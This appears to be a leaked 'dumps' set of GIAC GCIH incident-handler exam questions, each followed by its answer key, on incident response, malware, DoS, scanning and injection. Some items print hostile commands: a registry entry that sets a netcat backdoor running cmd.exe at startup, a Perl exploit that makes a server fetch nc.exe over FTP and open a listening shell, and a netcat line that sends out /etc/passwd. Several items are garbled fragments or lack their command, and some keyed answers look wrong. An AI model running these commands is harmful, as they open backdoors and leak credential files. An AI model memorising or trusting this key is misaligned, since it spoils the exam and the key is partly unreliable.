

GCIH Dumps

GIAC Certified Incident Handler

<https://www.certleader.com/GCIH-dumps.html>



NEW QUESTION 1

Adam works as an Incident Handler for Umbrella Inc. He has been sent to the California unit to train the members of the incident response team. As a demo project he asked members of the incident response team to perform the following actions:

Remove the network cable wires.

Isolate the system on a separate VLAN

Use a firewall or access lists to prevent communication into or out of the system.

Change DNS entries to direct traffic away from compromised system

Which of the following steps of the incident handling process includes the above actions?

- A. Identification
- B. Containment
- C. Eradication
- D. Recovery

Answer: B

NEW QUESTION 2

Which of the following types of attacks is only intended to make a computer resource unavailable to its users?

- A. Denial of Service attack
- B. Replay attack
- C. Teardrop attack
- D. Land attack

Answer: A

NEW QUESTION 3

In which of the following DoS attacks does an attacker send an ICMP packet larger than 65,536 bytes to the target system?

- A. Ping of death
- B. Jolt
- C. Fraggle
- D. Teardrop

Answer: A

NEW QUESTION 4

Which of the following is a technique of using a modem to automatically scan a list of telephone numbers, usually dialing every number in a local area code to search for computers, Bulletin board systems, and fax machines?

- A. Demon dialing
- B. Warkitting
- C. War driving
- D. Wardialing

Answer: D

NEW QUESTION 5

Ryan, a malicious hacker submits Cross-Site Scripting (XSS) exploit code to the Website of Internet forum for online discussion. When a user visits the infected Web page, code gets automatically executed and Ryan can easily perform acts like account hijacking, history theft etc. Which of the following types of Cross-Site Scripting attack Ryan intends to do?

- A. Non persistent
- B. Document Object Model (DOM)
- C. SAX
- D. Persistent

Answer: D

NEW QUESTION 6

Which of the following statements are true about worms?

Each correct answer represents a complete solution. Choose all that apply.

- A. Worms cause harm to the network by consuming bandwidth, whereas viruses almost always corrupt or modify files on a targeted computer.
- B. Worms can exist inside files such as Word or Excel documents.
- C. One feature of worms is keystroke logging.
- D. Worms replicate themselves from one system to another without using a host file.

Answer: ABD

NEW QUESTION 7

Adam works as a Security Analyst for Umbrella Inc. Company has a Windows-based network. All computers run on Windows XP. Manager of the Sales department complains Adam about the unusual behavior of his computer. He told Adam that some pornographic contents are suddenly appeared on his computer overnight. Adam suspects that some malicious software or Trojans have been installed on the computer. He runs some diagnostics programs and Port scanners and found that the Port 12345, 12346, and 20034 are open. Adam also noticed some tampering with the Windows registry, which causes one application to run

every time when Windows start.

Which of the following is the most likely reason behind this issue?

- A. Cheops-ng is installed on the computer.
- B. Elsave is installed on the computer.
- C. NetBus is installed on the computer.
- D. NetStumbler is installed on the computer.

Answer: C

NEW QUESTION 8

Buffer overflows are one of the major errors used for exploitation on the Internet today. A buffer overflow occurs when a particular operation/function writes more data into a variable than the variable was designed to hold.

Which of the following are the two popular types of buffer overflows?

Each correct answer represents a complete solution. Choose two.

- A. Dynamic buffer overflows
- B. Stack based buffer overflow
- C. Heap based buffer overflow
- D. Static buffer overflows

Answer: BC

NEW QUESTION 9

Which of the following are the primary goals of the incident handling team?

Each correct answer represents a complete solution. Choose all that apply.

- A. Freeze the scene.
- B. Repair any damage caused by an incident.
- C. Prevent any further damage.
- D. Inform higher authorities.

Answer: ABC

NEW QUESTION 10

Adam, a malicious hacker, wants to perform a reliable scan against a remote target. He is not concerned about being stealth at this point.

Which of the following type of scans would be most accurate and reliable?

- A. UDP sacn
- B. TCP Connect scan
- C. ACK scan
- D. Fin scan

Answer: B

NEW QUESTION 10

You have configured a virtualized Internet browser on your Windows XP professional computer. Using the virtualized Internet browser, you can protect your operating system from which of the following?

- A. Brute force attack
- B. Mail bombing
- C. Distributed denial of service (DDOS) attack
- D. Malware installation from unknown Web sites

Answer: D

NEW QUESTION 12

John works as a Professional Penetration Tester. He has been assigned a project to test the Website security of www.we-are-secure Inc. On the We-are-secure Website login page, he enters '=' as a username and successfully logs on to the user page of the Web site. Now, John asks the we-aresecure Inc. to improve the login page PHP script. Which of the following suggestions can John give to improve the security of the we-are-secure Website login page from the SQL injection attack?

- A. Use the escapeshellarg() function
- B. Use the session_regenerate_id() function
- C. Use the mysql_real_escape_string() function for escaping input
- D. Use the escapeshellcmd() function

Answer: C

NEW QUESTION 14

You work as a Network Administrator for Tech Perfect Inc. The company has a TCP/IP-based network. An attacker uses software that keeps trying password combinations until the correct password is found. Which type of attack is this?

- A. Denial-of-Service
- B. Man-in-the-middle
- C. Brute Force
- D. Vulnerability

Answer: C

NEW QUESTION 17

Adam, a malicious hacker is running a scan. Statistics of the scan is as follows:
Scan directed at open port: ClientServer

- A. Mastered
- B. Not Mastered

Answer: A

NEW QUESTION 19

5.2.92:4079 -----FIN----->192.5.2.110:23

- A. Mastered
- B. Not Mastered

Answer: A

NEW QUESTION 21

Which of the following is a network worm that exploits the RPC sub-system vulnerability present in the Microsoft Windows operating system?

- A. Win32/Agent
- B. WMA/TrojanDownloader.GetCodec
- C. Win32/Conflicker
- D. Win32/PSW.OnLineGames

Answer: C

NEW QUESTION 23

What is the major difference between a worm and a Trojan horse?

- A. A worm spreads via e-mail, while a Trojan horse does not.
- B. A worm is a form of malicious program, while a Trojan horse is a utility.
- C. A worm is self replicating, while a Trojan horse is not.
- D. A Trojan horse is a malicious program, while a worm is an anti-virus software.

Answer: C

NEW QUESTION 26

Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to test the network security of the company. He created a webpage to discuss the progress of the tests with employees who were interested in following the test. Visitors were allowed to click on a company's icon to mark the progress of the test. Adam successfully embeds a keylogger. He also added some statistics on the webpage. The firewall protects the network well and allows strict Internet access.

How was security compromised and how did the firewall respond?

- A. The attack was social engineering and the firewall did not detect it.
- B. Security was not compromised as the webpage was hosted internally.
- C. The attack was Cross Site Scripting and the firewall blocked it.
- D. Security was compromised as keylogger is invisible for firewall.

Answer: A

NEW QUESTION 30

You work as a Network Administrator for Infonet Inc. The company has a Windows Server 2008 Active Directory-based single domain single forest network. The company has three Windows 2008 file servers, 150 Windows XP Professional, thirty UNIX-based client computers. The network users have identical user accounts for both Active Directory and the UNIX realm. You want to ensure that the UNIX clients on the network can access the file servers. You also want to ensure that the users are able to access all resources by logging on only once, and that no additional software is installed on the UNIX clients. What will you do to accomplish this task?

Each correct answer represents a part of the solution. Choose two.

- A. Configure a distributed file system (Dfs) on the file server in the network.
- B. Enable the Network File System (NFS) component on the file servers in the network.
- C. Configure ADRMS on the file servers in the network.
- D. Enable User Name Mapping on the file servers in the network.

Answer: BD

NEW QUESTION 33

Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to secure access to the network of the company from all possible entry points. He segmented the network into several subnets and installed firewalls all over the network. He has placed very stringent rules on all the firewalls, blocking everything in and out except the ports that must be used. He does need to have port 80 open since his company hosts a website that must be accessed from the Internet. Adam is still worried about the programs like Hping2 that can get into a network through covert channels.

Which of the following is the most effective way to protect the network of the company from an attacker using Hping2 to scan his internal network?

- A. Block all outgoing traffic on port 21
- B. Block all outgoing traffic on port 53
- C. Block ICMP type 13 messages
- D. Block ICMP type 3 messages

Answer: C

NEW QUESTION 34

Which of the following are types of access control attacks?

Each correct answer represents a complete solution. Choose all that apply.

- A. Spoofing
- B. Brute force attack
- C. Dictionary attack
- D. Mail bombing

Answer: ABC

NEW QUESTION 36

Which of the following attacks come under the category of layer 2 Denial-of-Service attacks?

Each correct answer represents a complete solution. Choose all that apply.

- A. Spoofing attack
- B. SYN flood attack
- C. Password cracking
- D. RF jamming attack

Answer: AB

NEW QUESTION 41

Which of the following statements are true about firewalking?

Each correct answer represents a complete solution. Choose all that apply.

- A. To use firewalking, the attacker needs the IP address of the last known gateway before the firewall and the IP address of a host located behind the firewall.
- B. In this technique, an attacker sends a crafted packet with a TTL value that is set to expire one hop past the firewall.
- C. A malicious attacker can use firewalking to determine the types of ports/protocols that can bypass the firewall.
- D. Firewalking works on the UDP packets.

Answer: ABC

NEW QUESTION 46

You run the following command on the remote Windows server 2003 computer:

```
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d  
"c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
```

What task do you want to perform by running this command?

Each correct answer represents a complete solution. Choose all that apply.

- A. You want to perform banner grabbing.
- B. You want to set the Netcat to execute command any time.
- C. You want to put Netcat in the stealth mode.
- D. You want to add the Netcat command to the Windows registry.

Answer: BCD

NEW QUESTION 50

You have inserted a Trojan on your friend's computer and you want to put it in the startup so that whenever the computer reboots the Trojan will start to run on the startup. Which of the following registry entries will you edit to accomplish the task?

- A. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Startup
- B. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Auto
- C. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
- D. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Start

Answer: C

NEW QUESTION 52

You are responsible for security at a company that uses a lot of Web applications. You are most concerned about flaws in those applications allowing some attacker to get into your network. What method would be best for finding such flaws?

- A. Manual penetration testing
- B. Code review
- C. Automated penetration testing
- D. Vulnerability scanning

Answer: D

NEW QUESTION 57

Which of the following characters will you use to check whether an application is vulnerable to an SQL injection attack?

- A. Dash (-)
- B. Double quote (")
- C. Single quote (')
- D. Semi colon (;)

Answer: C

NEW QUESTION 60

Which of the following tools can be used to detect the steganography?

- A. Dskprobe
- B. Blindside
- C. ImageHide
- D. Snow

Answer: A

NEW QUESTION 64

Which of the following tools is used to download the Web pages of a Website on the local system?

- A. wget
- B. jplag
- C. Nessus
- D. Ettercap

Answer: A

NEW QUESTION 66

Many organizations create network maps of their network system to visualize the network and understand the relationship between the end devices and the transport layer that provide services.

Which of the following are the techniques used for network mapping by large organizations?

Each correct answer represents a complete solution. Choose three.

- A. Packet crafting
- B. Route analytics
- C. SNMP-based approaches
- D. Active Probing

Answer: BCD

NEW QUESTION 70

Which of the following functions can you use to mitigate a command injection attack?

Each correct answer represents a part of the solution. Choose all that apply.

- A. escapeshellarg()
- B. escapeshellcmd()
- C. htmlentities()
- D. strip_tags()

Answer: AB

NEW QUESTION 71

Which of the following takes control of a session between a server and a client using TELNET, FTP, or any other non-encrypted TCP/IP utility?

- A. Dictionary attack
- B. Session Hijacking
- C. Trojan horse
- D. Social Engineering

Answer: B

NEW QUESTION 75

Adam works as a Senior Programmer for Umbrella Inc. A project has been assigned to him to write a short program to gather user input for a Web application. He wants to keep his program neat and simple. He chooses to use `printf(str)` where he should have ideally used `printf("%s", str)`.

What attack will his program expose the Web application to?

- A. Format string attack
- B. Cross Site Scripting attack
- C. SQL injection attack
- D. Sequence++ attack

Answer: A

NEW QUESTION 76

Maria works as a professional Ethical Hacker. She is assigned a project to test the security of www.we-are-secure.com. She wants to test a DoS attack on the We-are-secure server. She finds that the firewall of the server is blocking the ICMP messages, but it is not checking the UDP packets. Therefore, she sends a large amount of UDP echo request traffic to the IP broadcast addresses. These UDP requests have a spoofed source address of the We-are-secure server. Which of the following DoS attacks is Maria using to accomplish her task?

- A. Ping flood attack
- B. Fraggle DoS attack
- C. Teardrop attack
- D. Smurf DoS attack

Answer: B

NEW QUESTION 79

You work as a Network Administrator for InformSec Inc. You find that the TCP port number 23476 is open on your server. You suspect that there may be a Trojan named Donald Dick installed on your server. Now you want to verify whether Donald Dick is installed on it or not. For this, you want to know the process running on port 23476, as well as the process id, process name, and the path of the process on your server. Which of the following applications will you most likely use to accomplish the task?

- A. Tripwire
- B. SubSeven
- C. Netstat
- D. Fport

Answer: D

NEW QUESTION 84

Which of the following password cracking attacks is based on a pre-calculated hash table to retrieve plain text passwords?

- A. Rainbow attack
- B. Brute Force attack
- C. Dictionary attack
- D. Hybrid attack

Answer: A

NEW QUESTION 89

Who are the primary victims of smurf attacks on the contemporary Internet system?

- A. IRC servers are the primary victims to smurf attacks
- B. FTP servers are the primary victims to smurf attacks
- C. SMTP servers are the primary victims to smurf attacks
- D. Mail servers are the primary victims to smurf attacks

Answer: A

NEW QUESTION 94

Which of the following tools can be used for stress testing of a Web server?
Each correct answer represents a complete solution. Choose two.

- A. Internet bots
- B. Scripts
- C. Anti-virus software
- D. Spyware

Answer: AB

NEW QUESTION 98

An attacker sends a large number of packets to a target computer that causes denial of service.
Which of the following type of attacks is this?

- A. Spoofing
- B. Snooping
- C. Phishing
- D. Flooding

Answer: D

NEW QUESTION 102

Which of the following statements about a Trojan horse are true?
Each correct answer represents a complete solution. Choose two.

- A. It is a macro or script that attaches itself to a file or template.
- B. The writers of a Trojan horse can use it later to gain unauthorized access to a computer.
- C. It is a malicious software program code that resembles another normal program.
- D. It infects the boot record on hard disks and floppy disks.

Answer: BC

NEW QUESTION 104

Which of the following tools is an automated tool that is used to implement SQL injections and to retrieve data from Web server databases?

- A. Fragroute
- B. Absinthe
- C. Stick
- D. ADMutate

Answer: B

NEW QUESTION 107

You run the following command while using Nikto Web scanner:

```
perl nikto.pl -h 192.168.0.1 -p 443
```

What action do you want to perform?

- A. Using it as a proxy server
- B. Updating Nikto
- C. Setting Nikto for network sniffing
- D. Port scanning

Answer: D

NEW QUESTION 108

Which of the following tools can be used for steganography?

Each correct answer represents a complete solution. Choose all that apply.

- A. Image hide
- B. Stegbreak
- C. Snow.exe
- D. Anti-x

Answer: AC

NEW QUESTION 111

Adam, a malicious hacker performs an exploit, which is given below:

```
#####
```

```
$port = 53;
```

```
# Spawn cmd.exe on port X
```

```
$your = "192.168.1.1";# Your FTP Server 89
```

```
$user = "Anonymous";# login as
```

```
$pass = 'noone@nowhere.com';# password
```

```
#####
```

```
$host = $ARGV[0];
```

```
print "Starting ...\n";
```

```
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo
```

```
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h
```

```
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\"");
```

```
system("perl msadc.pl -h $host -C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...
```

```
\n";
```

```
system("perl msadc.pl -h $host -C \"ftp -s:sasfile\""); print "Press ENTER when download is finished ...
```

```
(Have a ftp server)\n";
```

```
$o=; print "Opening ...\n";
```

```
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0);
```

Which of the following is the expected result of the above exploit?

- A. Creates a share called "sasfile" on the target system
- B. Creates an FTP server with write permissions enabled
- C. Opens up a SMTP server that requires no username or password
- D. Opens up a telnet listener that requires no username or password

Answer: D

NEW QUESTION 112

Which of the following statements are true about session hijacking?

Each correct answer represents a complete solution. Choose all that apply.

- A. Use of a long random number or string as the session key reduces session hijacking.
- B. It is used to slow the working of victim's network resources.
- C. TCP session hijacking is when a hacker takes over a TCP session between two machines.
- D. It is the exploitation of a valid computer session to gain unauthorized access to information or services in a computer system.

Answer: ACD

NEW QUESTION 113

108 ms 14 0.so-4-1-0.TL1.ATL5.ALTER.NET (152.63.10.129) 37.894 ms 33.244 ms

- A. Mastered
- B. Not Mastered

Answer: A

NEW QUESTION 115

Victor wants to send an encrypted message to his friend. He is using certain steganography technique to accomplish this task. He takes a cover object and changes it accordingly to hide information. This secret information is recovered only when the algorithm compares the changed cover with the original cover. Which of the following Steganography methods is Victor using to accomplish the task?

- A. The distortion technique
- B. The spread spectrum technique
- C. The substitution technique
- D. The cover generation technique

Answer: A

NEW QUESTION 120

Adam, a malicious hacker purposely sends fragmented ICMP packets to a remote target. The total size of this ICMP packet once reconstructed is over 65,536 bytes. On the basis of above information, which of the following types of attack is Adam attempting to perform?

- A. Fraggle attack
- B. Ping of death attack
- C. SYN Flood attack
- D. Land attack

Answer: B

NEW QUESTION 123

Which of the following techniques is used when a system performs the penetration testing with the objective of accessing unauthorized information residing inside a computer?

- A. Van Eck Phreaking
- B. Phreaking
- C. Biometrician
- D. Port scanning

Answer: D

NEW QUESTION 125

Mark works as a Network Administrator for Perfect Inc. The company has both wired and wireless networks. An attacker attempts to keep legitimate users from accessing services that they require. Mark uses IDS/IPS sensors on the wired network to mitigate the attack. Which of the following attacks best describes the attacker's intentions?

- A. Internal attack
- B. Reconnaissance attack
- C. Land attack
- D. DoS attack

Answer: D

NEW QUESTION 128

Which of the following functions in c/c++ can be the cause of buffer overflow?
Each correct answer represents a complete solution. Choose two.

- A. printf()
- B. strcat()
- C. strcpy()
- D. strlen()

Answer: BC

NEW QUESTION 133

Which of the following rootkits is used to attack against full disk encryption systems?

- A. Boot loader rootkit
- B. Library rootkit
- C. Hypervisor rootkit
- D. Kernel level rootkit

Answer: A

NEW QUESTION 136

Which of the following statements are true about Dsniff?
Each correct answer represents a complete solution. Choose two.

- A. It contains Trojans.
- B. It is a virus.
- C. It is antivirus.
- D. It is a collection of various hacking tools.

Answer: AD

NEW QUESTION 137

Which of the following actions is performed by the netcat command given below?
nc 55555 < /etc/passwd

- A. It changes the /etc/passwd file when connected to the UDP port 55555.
- B. It resets the /etc/passwd file to the UDP port 55555.
- C. It fills the incoming connections to /etc/passwd file.
- D. It grabs the /etc/passwd file when connected to UDP port 55555.

Answer: D

NEW QUESTION 140

Adam, a malicious hacker is sniffing the network to inject ARP packets. He injects broadcast frames onto the wire to conduct Man-in-The-Middle attack. Which of the following is the destination MAC address of a broadcast frame?

- A. 0xDDDDDDDDDD
- B. 0x000000000000
- C. 0xFFFFFFFFFFFF
- D. 0xAAAAAAAAAA

Answer: C

NEW QUESTION 141

Andrew, a bachelor student of Faulkner University, creates a gmail account. He uses 'Faulkner' as the password for the gmail account. After a few days, he starts receiving a lot of e-mails stating that his gmail account has been hacked. He also finds that some of his important mails have been deleted by someone. Which of the following methods has the attacker used to crack Andrew's password?
Each correct answer represents a complete solution. Choose all that apply.

- A. Denial-of-service (DoS) attack
- B. Zero-day attack
- C. Brute force attack
- D. Social engineering
- E. Buffer-overflow attack
- F. Rainbow attack
- G. Password guessing
- H. Dictionary-based attack

Answer: CDFGH

NEW QUESTION 145

Which of the following can be used as a Trojan vector to infect an information system?
Each correct answer represents a complete solution. Choose all that apply.

- A. NetBIOS remote installation
- B. Any fake executable
- C. Spywares and adware
- D. ActiveX controls, VBScript, and Java scripts

Answer: ABCD

NEW QUESTION 150

Rick works as a Computer Forensic Investigator for BlueWells Inc. He has been informed that some confidential information is being leaked out by an employee of the company. Rick suspects that someone is sending the information through email. He checks the emails sent by some employees to other networks. Rick finds out that Sam, an employee of the Sales department, is continuously sending text files that contain special symbols, graphics, and signs. Rick suspects that Sam is using the Steganography technique to send data in a disguised form. Which of the following techniques is Sam using?
Each correct answer represents a part of the solution. Choose all that apply.

- A. Linguistic steganography
- B. Perceptual masking
- C. Technical steganography
- D. Text Semagrams

Answer: AD

NEW QUESTION 153

Which of the following US Acts emphasized a "risk-based policy for cost-effective security" and makes mandatory for agency program officials, chief information officers, and inspectors general (IGs) to conduct annual reviews of the agency's information security program and report the results to Office of Management and Budget?

- A. The Electronic Communications Privacy Act of 1986 (ECPA)

- B. The Fair Credit Reporting Act (FCRA)
- C. The Equal Credit Opportunity Act (ECOA)
- D. Federal Information Security Management Act of 2002 (FISMA)

Answer: D

NEW QUESTION 157

You are the Administrator for a corporate network. You are concerned about denial of service attacks. Which of the following measures would be most helpful in defending against a Denial-of-Service (DoS) attack?

- A. Implement network based antivirus.
- B. Place a honey pot in the DMZ.
- C. Shorten the timeout for connection attempts.
- D. Implement a strong password policy.

Answer: C

NEW QUESTION 161

In which of the following attacks does the attacker gather information to perform an access attack?

- A. Land attack
- B. Reconnaissance attack
- C. Vulnerability attack
- D. DoS attack

Answer: B

NEW QUESTION 163

Which of the following systems is used in the United States to coordinate emergency preparedness and incident management among various federal, state, and local agencies?

- A. US Incident Management System (USIMS)
- B. National Disaster Management System (NDMS)
- C. National Emergency Management System (NEMS)
- D. National Incident Management System (NIMS)

Answer: D

NEW QUESTION 168

You want to perform passive footprinting against we-are-secure Inc. Web server. Which of the following tools will you use?

- A. Nmap
- B. Ethereal
- C. Ettercap
- D. Netcraft

Answer: D

NEW QUESTION 173

In which of the following malicious hacking steps does email tracking come under?

- A. Reconnaissance
- B. Gaining access
- C. Maintaining Access
- D. Scanning

Answer: A

NEW QUESTION 175

John works as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company uses Check Point SmartDefense to provide security to the network of the company. On the HTTP servers of the company, John defines a rule for dropping any kind of userdefined URLs. Which of the following types of attacks can be prevented by dropping the user- defined URLs?

- A. Morris worm
- B. Code red worm
- C. Hybrid attacks
- D. PTC worms and mutations

Answer: D

NEW QUESTION 179

In which of the following methods does an hacker use packet sniffing to read network traffic between two parties to steal the session cookies?

- A. Cross-site scripting
- B. Physical accessing

- C. Session fixation
- D. Session sidejacking

Answer: D

NEW QUESTION 182

Which of the following are countermeasures to prevent unauthorized database access attacks?
Each correct answer represents a complete solution. Choose all that apply.

- A. Session encryption
- B. Removing all stored procedures
- C. Applying strong firewall rules
- D. Input sanitization

Answer: ABCD

NEW QUESTION 185

You are hired as a Database Administrator for Jennifer Shopping Cart Inc. You monitor the server health through the System Monitor and found that there is a sudden increase in the number of logins.

A case study is provided in the exhibit. Which of the following types of attack has occurred? (Click the Exhibit button on the toolbar to see the case study.)

- A. Injection
- B. Virus
- C. Worm
- D. Denial-of-service

Answer: D

NEW QUESTION 189

Which of the following types of attacks is often performed by looking surreptitiously at the keyboard or monitor of an employee's computer?

- A. Buffer-overflow attack
- B. Shoulder surfing attack
- C. Man-in-the-middle attack
- D. Denial-of-Service (DoS) attack

Answer: B

NEW QUESTION 193

Which of the following types of malware does not replicate itself but can spread only when the circumstances are beneficial?

- A. Mass mailer
- B. Worm
- C. Blended threat
- D. Trojan horse

Answer: D

NEW QUESTION 195

Which of the following statements about reconnaissance is true?

- A. It describes an attempt to transfer DNS zone data.
- B. It is a computer that is used to attract potential intruders or attackers.
- C. It is any program that allows a hacker to connect to a computer without going through the normal authentication process.
- D. It is also known as half-open scanning.

Answer: A

NEW QUESTION 199

CORRECT TEXT

Fill in the blank with the appropriate name of the attack.

_____ takes best advantage of an existing authenticated connection

A.

Answer: sessionhijacking

NEW QUESTION 202

Which of the following tools will you use to prevent from session hijacking?
Each correct answer represents a complete solution. Choose all that apply.

- A. OpenSSH
- B. Rlogin
- C. Telnet
- D. SSL

Answer: AD

NEW QUESTION 204

Adam works as a Security Administrator for the Umbrella Inc. A project has been assigned to him to strengthen the security policies of the company, including its password policies. However, due to some old applications, Adam is only able to enforce a password group policy in Active Directory with a minimum of 10 characters. He informed the employees of the company, that the new password policy requires that everyone must have complex passwords with at least 14 characters. Adam wants to ensure that everyone is using complex passwords that meet the new security policy requirements. He logged on to one of the network's domain controllers and runs the following command:

Which of the following actions will this command take?

- A. Dumps the SAM password hashes to pwd.txt
- B. Dumps the SAM password file to pwd.txt
- C. Dumps the Active Directory password hashes to pwd.txt
- D. The password history file is transferred to pwd.txt

Answer: A

NEW QUESTION 208

Which of the following can be used as a countermeasure against the SQL injection attack?
Each correct answer represents a complete solution. Choose two.

- A. `mysql_real_escape_string()`
- B. `session_regenerate_id()`
- C. `mysql_escape_string()`
- D. Prepared statement

Answer: AD

NEW QUESTION 213

You want to integrate the Nikto tool with nessus vulnerability scanner. Which of the following steps will you take to accomplish the task?
Each correct answer represents a complete solution. Choose two.

- A. Place nikto.pl file in the `/etc/nessus` directory.
- B. Place nikto.pl file in the `/var/www` directory.
- C. Place the directory containing nikto.pl in root's PATH environment variable.
- D. Restart nessusd service.

Answer: CD

NEW QUESTION 215

John works as a Network Administrator for Perfect Solutions Inc. The company has a Linux-based network. The company is aware of various types of security attacks and wants to impede them. Hence, management has assigned John a project to port scan the company's Web Server. For this, he uses the nmap port scanner and issues the following command to perform idle port scanning:

```
nmap -PN -p- -sI IP_Address_of_Company_Server
```

He analyzes that the server's TCP ports 21, 25, 80, and 111 are open.

Which of the following security policies is the company using during this entire process to mitigate the risk of hacking attacks?

- A. Non-disclosure agreement
- B. Antivirus policy
- C. Acceptable use policy
- D. Audit policy

Answer: D

NEW QUESTION 219

Which of the following netcat parameters makes netcat a listener that automatically restarts itself when a connection is dropped?

- A. -u
- B. -l
- C. -p
- D. -L

Answer: D

NEW QUESTION 222

You want to use PGP files for steganography. Which of the following tools will you use to accomplish the task?

- A. Blindside
- B. Snow
- C. ImageHide
- D. Stealth

Answer: D

NEW QUESTION 223

Adam works as a Network administrator for Umbrella Inc. He noticed that an ICMP ECHO requests is coming from some suspected outside sources. Adam suspects that some malicious hacker is trying to perform ping sweep attack on the network of the company. To stop this malicious activity, Adam blocks the ICMP ECHO request from any outside sources.

What will be the effect of the action taken by Adam?

- A. Network turns completely immune from the ping sweep attacks.
- B. Network is still vulnerable to ping sweep attack.
- C. Network is protected from the ping sweep attack until the next reboot of the server.
- D. Network is now vulnerable to Ping of death attack.

Answer: B

NEW QUESTION 226

You are the Security Consultant and have been hired to check security for a client's network. Your client has stated that he has many concerns but the most critical is the security of Web applications on their Web server. What should be your highest priority then in checking his network?

- A. Setting up IDS
- B. Port scanning
- C. Vulnerability scanning
- D. Setting up a honey pot

Answer: C

NEW QUESTION 231

Which of the following statements are correct about spoofing and session hijacking?

Each correct answer represents a complete solution. Choose all that apply.

- A. Spoofing is an attack in which an attacker can spoof the IP address or other identity of the target and the valid user cannot be active.
- B. Spoofing is an attack in which an attacker can spoof the IP address or other identity of the target but the valid user can be active.
- C. Session hijacking is an attack in which an attacker takes over the session, and the valid user's session is disconnected.
- D. Session hijacking is an attack in which an attacker takes over the session, and the valid user's session is not disconnected.

Answer: BD

NEW QUESTION 235

Which of the following programs is used for bypassing normal authentication for securing remote access to a computer?

- A. Backdoor
- B. Worm
- C. Adware
- D. Spyware

Answer: A

NEW QUESTION 236

Which of the following Linux rootkits allows an attacker to hide files, processes, and network connections?
Each correct answer represents a complete solution. Choose all that apply.

- A. Phalanx2
- B. Beastkit
- C. Adore
- D. Knark

Answer: CD

NEW QUESTION 237

John works as a professional Ethical Hacker. He is assigned a project to test the security of www.weare-secure.com. He installs a rootkit on the Linux server of the We-are-secure network. Which of the following statements are true about rootkits?
Each correct answer represents a complete solution. Choose all that apply.

- A. They allow an attacker to conduct a buffer overflow.
- B. They allow an attacker to set a Trojan in the operating system and thus open a backdoor for anytime access.
- C. They allow an attacker to replace utility programs that can be used to detect the attacker's activity.
- D. They allow an attacker to run packet sniffers secretly to capture passwords.

Answer: BCD

NEW QUESTION 240

A Denial-of-Service (DoS) attack is mounted with the objective of causing a negative impact on the performance of a computer or network. It is also known as network saturation attack or bandwidth consumption attack. Attackers perform DoS attacks by sending a large number of protocol packets to a network. The problems caused by a DoS attack are as follows:

- I Saturation of network resources
- I Disruption of connections between two computers, thereby preventing communications between services
- I Disruption of services to a specific computer
- I Failure to access a Web site
- I Increase in the amount of spam

Which of the following can be used as countermeasures against DoS attacks?
Each correct answer represents a complete solution. Choose all that apply.

- A. Blocking undesired IP addresses
- B. Applying router filtering
- C. Disabling unneeded network services
- D. Permitting network access only to desired traffic

Answer: ABCD

NEW QUESTION 241

Your IDS discovers that an intruder has gained access to your system. You immediately stop that access, change passwords for administrative accounts, and secure your network. You discover an odd account (not administrative) that has permission to remotely access the network. What is this most likely?

- A. An example of privilege escalation.
- B. A normal account you simply did not notice before
- C. Large networks have a number of accounts; it is hard to track them all.
- D. A backdoor the intruder created so that he can re-enter the network.
- E. An example of IP spoofing.

Answer: C

NEW QUESTION 244

You have forgotten your password of an online shop. The web application of that online shop asks you to enter your email so that they can send you a new password. You enter your email

you@gmail.com

And press the submit button.

The Web application displays the server error. What can be the reason of the error?

- A. You have entered any special character in email.
- B. Email entered is not valid.
- C. The remote server is down.
- D. Your internet connection is slow.

Answer: A

NEW QUESTION 248

Maria works as a professional Ethical Hacker. She has been assigned the project of testing the security of www.gentech.com. She is using dumpster diving to gather information about Gentech Inc.

In which of the following steps of malicious hacking does dumpster diving come under?

- A. Multi-factor authentication
- B. Role-based access control

- C. Mutual authentication
- D. Reconnaissance

Answer: D

NEW QUESTION 251

Session splicing is an IDS evasion technique in which an attacker delivers data in multiple small- sized packets to the target computer. Hence, it becomes very difficult for an IDS to detect the attack signatures of such attacks. Which of the following tools can be used to perform session splicing attacks?
Each correct answer represents a complete solution. Choose all that apply.

- A. Whisker
- B. Fragroute
- C. Nessus
- D. Y.A.T.

Answer: AC

NEW QUESTION 254

Which of the following attacks involves multiple compromised systems to attack a single target?

- A. Brute force attack
- B. Replay attack
- C. Dictionary attack
- D. DDoS attack

Answer: D

NEW QUESTION 257

You are monitoring your network's behavior. You find a sudden increase in traffic on the network. It seems to come in bursts and emanate from one specific machine. You have been able to determine that a user of that machine is unaware of the activity and lacks the computer knowledge required to be responsible for a computer attack. What attack might this indicate?

- A. Spyware
- B. Ping Flood
- C. Denial of Service
- D. Session Hijacking

Answer: A

NEW QUESTION 259

US Garments wants all encrypted data communication between corporate office and remote location.

They want to achieve following results:

- I Authentication of users
- I Anti-replay
- I Anti-spoofing
- I IP packet encryption

They implemented IPSec using Authentication Headers (AHs). Which results does this solution provide? (Click the Exhibit button on the toolbar to see the case study.)

Each correct answer represents a complete solution. Choose all that apply.

- A. Anti-replay
- B. IP packet encryption
- C. Authentication of users
- D. Anti-spoofing

Answer: AD

NEW QUESTION 260

Which of the following attacks capture the secret value like a hash and reuse it later to gain access to a system without ever decrypting or decoding the hash?

- A. Cross Site Scripting attack
- B. Replay attack
- C. Rainbow attack
- D. Hashing attack

Answer: B

NEW QUESTION 265

Which of the following is the most common vulnerability that can affect desktop applications written in native code?

- A. SpyWare
- B. DDoS attack
- C. Malware
- D. Buffer overflow

Answer: D

NEW QUESTION 267

